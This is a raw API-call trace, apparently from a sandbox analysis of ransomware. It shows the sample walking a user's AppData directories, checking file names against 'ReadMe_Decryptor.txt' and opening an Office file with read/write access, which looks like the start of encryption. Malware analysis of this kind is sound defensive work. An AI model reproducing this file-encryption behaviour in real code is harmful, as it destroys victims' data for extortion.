ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.101] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.101] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.101] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1 [0054.101] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 0 [0054.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0054.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0054.101] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0054.101] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0054.102] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 0 [0054.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0054.102] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0054.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 0 [0054.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0054.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5feab0 | out: hHeap=0x540000) returned 1 [0054.102] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0054.102] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0054.102] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 0 [0054.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0054.102] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0054.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3d88 | out: hHeap=0x540000) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 0 [0054.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3d88 [0054.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0054.102] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0054.104] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0054.104] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.105] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 1 [0054.105] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 0 [0054.105] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3d88 | out: hHeap=0x540000) returned 1 [0054.105] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0054.105] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0054.105] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0054.105] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0054.105] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0054.105] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0054.106] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0054.106] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.106] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0054.106] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0054.106] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0054.106] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0054.106] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0054.106] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dae0390, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dae0390, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0054.106] lstrcmpW (lpString1="Office", lpString2=".") returned 1 [0054.106] lstrcmpW (lpString1="Office", lpString2="..") returned 1 [0054.106] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0054.106] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0054.106] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0054.106] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0054.106] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0054.193] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.193] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dae0390, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dae0390, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.193] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.193] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.193] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f6ce7b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f6ce7b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f6ce7b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x9382, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1 [0054.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.194] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.194] lstrcmpW (lpString1="MSO1033.acl", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.194] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\mso1033.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0054.388] GetFileSize (in: hFile=0x318, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x9382 [0054.388] LockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x949a, nNumberOfBytesToLockHigh=0x0) returned 1 [0054.388] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0054.388] ReadFile (in: hFile=0x318, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0054.389] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.390] ReadFile (in: hFile=0x318, lpBuffer=0x3780040, nNumberOfBytesToRead=0x9382, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f4b4*=0x9382, lpOverlapped=0x0) returned 1 [0054.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0054.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3891368 [0054.391] GetLastError () returned 0x0 [0054.391] SetLastError (dwErrCode=0x0) [0054.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e7520 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0054.391] GetLastError () returned 0x0 [0054.391] SetLastError (dwErrCode=0x0) [0054.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0054.391] GetLastError () returned 0x0 [0054.391] SetLastError (dwErrCode=0x0) [0054.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4d30 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0054.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x63e990 [0054.476] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x38b0048 [0054.476] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63e990 | out: hHeap=0x540000) returned 1 [0054.476] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x38b2088 [0054.476] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0048 | out: hHeap=0x540000) returned 1 [0054.476] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x38b60c8 [0054.476] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b2088 | out: hHeap=0x540000) returned 1 [0054.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x38be108 [0054.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b60c8 | out: hHeap=0x540000) returned 1 [0054.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bbe8 [0054.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4d30 | out: hHeap=0x540000) returned 1 [0054.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.480] GetLastError () returned 0x0 [0054.480] SetLastError (dwErrCode=0x0) [0054.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0054.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61d9b0 | out: hHeap=0x540000) returned 1 [0054.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0054.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e7520 | out: hHeap=0x540000) returned 1 [0054.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0054.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0054.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3891368 | out: hHeap=0x540000) returned 1 [0054.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x562228 [0054.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0054.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0054.480] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c58 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608f18 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x562228 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d5988 [0054.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0054.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0054.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0054.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0054.482] 